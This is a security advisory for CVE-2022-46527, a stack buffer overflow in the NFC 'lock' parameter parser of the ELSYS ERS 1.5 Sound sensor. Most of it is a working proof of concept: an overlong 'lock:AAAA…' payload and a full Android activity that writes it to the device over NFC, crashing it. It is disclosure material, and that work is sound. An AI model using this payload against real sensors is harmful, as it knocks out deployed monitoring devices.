Security advisory

ELSYS ERS 1.5 Sound v2.3.8 was discovered to contain a buffer overflow via the NFC data parser

January, 2023

CVE-2022-46527
Release date: 19/01/2023
Department: POST Cyberforce
Stéphane EMMA

Vulnerability summary

Product	ERS 1.5 Sound
Product homepage	https://www.elsys.se/en/ers-sound/
Affected product versions	2.3.8
Severity	Medium: CVSS v3.1 score - 4.6
CVSS v3.1	CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE	CWE-121: Stack-based Buffer Overflow
Workarounds	No workarounds available
Fixed product versions	XX.XX.XX.XX and later

Impact:

- Denial of Service;
- Memory corruption leading to other impacts such as code execution.

Timeline

Date	Action
28 November 2022	Vulnerability identification, exploitation and impact validation
19 January 2023	Vendor notified

References:

- https://owasp.org/www-community/vulnerabilities/Buffer_Overflow
- hhttps://cwe.mitre.org/data/definitions/121.html

Product description

ERS Sound is an advanced LoRaWAN® device for indoor environment measuring. This device is discrete and has a minimalistic design which makes it ideal for mounting on a wall or any surface. The ERS Sound will monitor both peak and average sound levels and are a perfect device for places where the level of sound is important. Be able to create the best environment in libraries, classrooms, airports, or other similar places.

The device can monitor the following elements:

- sound levels;
- humidity;
- temperature;
- light;
- motion.

Advisory

Vulnerability description

The sensor is powered by a microcontroller (MCU). To push the configuration into sensors, the communication interface is text data contained in a NFC tag. The MCU parse the tag content and load configuration into an internal data structure. The configuration of the sensor can be protected from read and write access with the help of a pin code.
In this context, the user has to unlock the device to access and modify the sensor configuration. When the device is locked, the user presents its smartphone with a sensor application to submit a pin code in the following form:

```
lock:[PIN_CODE]
```

If the pin code is correct, the configuration stored into an internal structure will be exported into text form into the NFC tag.

But, during the verification of the pin code, the configuration parser does not process correctly the value of **lock** leading a buffer overflow issue.

During the investigation, only crashes that causes a Denial of Service, were occurred.

Vulnerable endpoint: `NFC tag content`

Vulnerable parameter: `lock`

Proof of concept

```
lock:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

To send the payload, the following Android code is used (modified from https://github.com/Cawinchan/nfc_starter_code):

Listing 1: Android activity

```
package com.example.nfc_test;

import androidx.appcompat.app.AppCompatActivity;

import android.app.PendingIntent;
import android.content.Intent;
import android.nfc.FormatException;
import android.nfc.NdefMessage;
import android.nfc.NdefRecord;
import android.nfc.NfcAdapter;
import android.nfc.Tag;
import android.nfc.tech.IsoDep;
import android.nfc.tech.MifareClassic;
import android.nfc.tech.MifareUltralight;
import android.nfc.tech.Ndef;
import android.os.Bundle;
import android.util.Log;
import android.widget.TextView;
import android.widget.Toast;

import org.w3c.dom.Text;

import java.io.IOException;
import java.nio.charset.Charset;

//Copyright (c) 2012-2020 Cawin Chan
//
//        Permission is hereby granted, free of charge, to any person obtaining
//        a copy of this software and associated documentation files (the
//        "Software"), to deal in the Software without restriction, including
//        without limitation the rights to use, copy, modify, merge, publish,
//        distribute, sublicense, and/or sell copies of the Software, and to
//        permit persons to whom the Software is furnished to do so, subject to
//        the following conditions:
//
//        The above copyright notice and this permission notice shall be
//        included in all copies or substantial portions of the Software.
//
//        THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
//        EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
```

```
41 //         MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
42 //         NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
       HOLDERS BE
43 //         LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
        ACTION
44 //         OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
       CONNECTION
45 //         WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
46
47 public class MainActivity extends AppCompatActivity {
48     //Intialize attributes
49     NfcAdapter nfcAdapter;
50     PendingIntent pendingIntent;
51
52     final static String TAG = 'nfc_test';
53
54     @Override
55     protected void onCreate(Bundle savedInstanceState) {
56         super.onCreate(savedInstanceState);
57         setContentView(R.layout.activity_main);
58
59         //Initialise NfcAdapter
60         nfcAdapter = NfcAdapter.getDefaultAdapter(this);
61         //If no NfcAdapter, display that the device has no NFC
62         if (nfcAdapter == null) {
63             Toast.makeText(this, 'NO NFC Capabilities',
64                     Toast.LENGTH_SHORT).show();
65             finish();
66         }
67         //Create a PendingIntent object so the Android system can
68         //populate it with the details of the tag when it is scanned.
69         //PendingIntent.getActivity(Context,requestcode(identifier for
70         //                          intent),intent,int)
71         pendingIntent = PendingIntent.getActivity(this, 0, new Intent(
               this, this.getClass()).addFlags(Intent.
               FLAG_ACTIVITY_SINGLE_TOP), 0);
72     }
73
74     @Override
75     protected void onResume() {
76         super.onResume();
77         assert nfcAdapter != null;
78         //nfcAdapter.enableForegroundDispatch(context,pendingIntent,
79         //                                    intentFilterArray,
80         //                                    techListsArray)
81         nfcAdapter.enableForegroundDispatch(this, pendingIntent, null,
               null);
82     }
83
84     protected void onPause() {
```

```
85          super.onPause();
86          //Onpause stop listening
87          if (nfcAdapter != null) {
88              nfcAdapter.disableForegroundDispatch(this);
89          }
90      }
91
92      @Override
93      protected void onNewIntent(Intent intent) {
94          super.onNewIntent(intent);
95          setIntent(intent);
96          resolveIntent(intent);
97      }
98
99      private void resolveIntent(Intent intent) {
100         String action = intent.getAction();
101         if (NfcAdapter.ACTION_TAG_DISCOVERED.equals(action)
102                 || NfcAdapter.ACTION_TECH_DISCOVERED.equals(action)
103                 || NfcAdapter.ACTION_NDEF_DISCOVERED.equals(action)) {
104             Tag tag = (Tag) intent.getParcelableExtra(NfcAdapter.
                    EXTRA_TAG);
105             assert tag != null;
106             try {
107                 byte[] payload = detectTagData(tag).getBytes();
108             } catch (IOException e) {
109                 e.printStackTrace();
110             }
111
112         }
113     }
114     //For detection
115     private String detectTagData(Tag tag) throws IOException {
116         StringBuilder sb = new StringBuilder();
117         byte[] id = tag.getId();
118         sb.append('ID (hex): ').append(toHex(id)).append('\n');
119         sb.append('ID (reversed hex): ').append(toReversedHex(id)).append
            ('\n');
120         sb.append('ID (dec): ').append(toDec(id)).append('\n');
121         sb.append('ID (reversed dec): ').append(toReversedDec(id)).append
            ('\n');
122
123         String prefix = 'android.nfc.tech.';
124         sb.append('Technologies: ');
125         for (String tech : tag.getTechList()) {
126             sb.append(tech.substring(prefix.length()));
127             sb.append(', ');
128         }
129
130         sb.delete(sb.length() - 2, sb.length());
131
```

```
        for (String tech : tag.getTechList()) {

            if (tech.equals(MifareClassic.class.getName())) {
                sb.append('\n');
                String type = 'Unknown';

                try {
                    MifareClassic mifareTag = MifareClassic.get(tag);

                    switch (mifareTag.getType()) {
                        case MifareClassic.TYPE_CLASSIC:
                            type = 'Classic';
                            break;
                        case MifareClassic.TYPE_PLUS:
                            type = 'Plus';
                            break;
                        case MifareClassic.TYPE_PRO:
                            type = 'Pro';
                            break;
                    }
                    sb.append('Mifare Classic type: ');
                    sb.append(type);
                    sb.append('\n');

                    sb.append('Mifare size: ');
                    sb.append(mifareTag.getSize() + ' bytes');
                    sb.append('\n');

                    sb.append('Mifare sectors: ');
                    sb.append(mifareTag.getSectorCount());
                    sb.append('\n');

                    sb.append('Mifare blocks: ');
                    sb.append(mifareTag.getBlockCount());
                } catch (Exception e) {
                    sb.append('Mifare classic error: ' + e.getMessage());
                }
            }

            if (tech.equals(MifareUltralight.class.getName())) {
                sb.append('\n');
                MifareUltralight mifareUlTag = MifareUltralight.get(tag);
                String type = 'Unknown';
                switch (mifareUlTag.getType()) {
                    case MifareUltralight.TYPE_ULTRALIGHT:
                        type = 'Ultralight';
                        break;
                    case MifareUltralight.TYPE_ULTRALIGHT_C:
                        type = 'Ultralight C';
                        break;
```

```
182                 }
183                 sb.append('Mifare Ultralight type: ');
184                 sb.append(type);
185             }
186             if(tech.equals(IsoDep.class.getName())){
187                 sb.append('\n');
188                 Ndef ndef_tag = Ndef.get(tag);
189 
190                 try{
191                     ndef_tag.connect();
192                 } catch (IOException e) {
193                     sb.append(e.toString());
194                     return '';
195                 } catch (NullPointerException e) {
196                     sb.append(e.toString());
197                     return '';
198                 }
199 
200                 byte[] myId = {};
201                 byte[] myType = {0x54};
202                 char[] payload = {
203                         2,
204                         0x65,0x6e,0x6c,0x6f,0x63,0x6b,0x3a,
205                         0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41
                            ,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41
                            ,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41
                            ,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41
                            ,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41,0x41
                            ,0x41,0x41,0x41,0x41,0x41,0x41
206 
207                 };
208                 NdefRecord record = new NdefRecord((short) 1, myType,
                       myId, new String(payload).getBytes());
209 
210                 NdefRecord[] records = {record};
211                 NdefMessage message = new NdefMessage(records);
212 
213                 try {
214                     ndef_tag.writeNdefMessage(message);
215                 } catch (FormatException e) {
216                     sb.append(e.toString());
217                 }
218             }
219         }
220         Log.v(TAG,sb.toString());
221         return sb.toString();
222     }
223 
224     private String toHex(byte[] bytes) {
225         StringBuilder sb = new StringBuilder();
```

```
        for (int i = bytes.length - 1; i >= 0; --i) {
            int b = bytes[i] & 0xff;
            if (b < 0x10)
                sb.append('0');
            sb.append(Integer.toHexString(b));
            if (i > 0) {
                sb.append(' ');
            }
        }
        return sb.toString();
    }

    private String toReversedHex(byte[] bytes) {
        StringBuilder sb = new StringBuilder();
        for (int i = 0; i < bytes.length; ++i) {
            if (i > 0) {
                sb.append(' ');
            }
            int b = bytes[i] & 0xff;
            if (b < 0x10)
                sb.append('0');
            sb.append(Integer.toHexString(b));
        }
        return sb.toString();
    }

    private long toDec(byte[] bytes) {
        long result = 0;
        long factor = 1;
        for (int i = 0; i < bytes.length; ++i) {
            long value = bytes[i] & 0xffl;
            result += value * factor;
            factor *= 256l;
        }
        return result;
    }

    private long toReversedDec(byte[] bytes) {
        long result = 0;
        long factor = 1;
        for (int i = bytes.length - 1; i >= 0; --i) {
            long value = bytes[i] & 0xffl;
            result += value * factor;
            factor *= 256l;
        }
        return result;
    }
    public void writeTag(MifareUltralight mifareUlTag) {
        try {
            mifareUlTag.connect();
```

```
276             mifareUlTag.writePage(4, 'get '.getBytes(Charset.forName('US-
                    ASCII')));
277             mifareUlTag.writePage(5, 'fast'.getBytes(Charset.forName('US-
                    ASCII')));
278             mifareUlTag.writePage(6, ' NFC'.getBytes(Charset.forName('US-
                    ASCII')));
279             mifareUlTag.writePage(7, ' now'.getBytes(Charset.forName('US-
                    ASCII')));
280         } catch (IOException e) {
281             Log.e(TAG, 'IOException while writing MifareUltralight...', e
                    );
282         } finally {
283             try {
284                 mifareUlTag.close();
285             } catch (IOException e) {
286                 Log.e(TAG, 'IOException while closing MifareUltralight...
                        ', e);
287             }
288         }
289     }
290     public String readTag(MifareUltralight mifareUlTag) {
291         try {
292             mifareUlTag.connect();
293             byte[] payload = mifareUlTag.readPages(4);
294             return new String(payload, Charset.forName('US-ASCII'));
295         } catch (IOException e) {
296             Log.e(TAG, 'IOException while reading MifareUltralight
                    message...', e);
297         } finally {
298             if (mifareUlTag != null) {
299                 try {
300                     mifareUlTag.close();
301                 }
302                 catch (IOException e) {
303                     Log.e(TAG, 'Error closing tag...', e);
304                 }
305             }
306         }
307         return null;
308     }
309 }
```

Recommendation

Contact VENDOR to receive an updated version.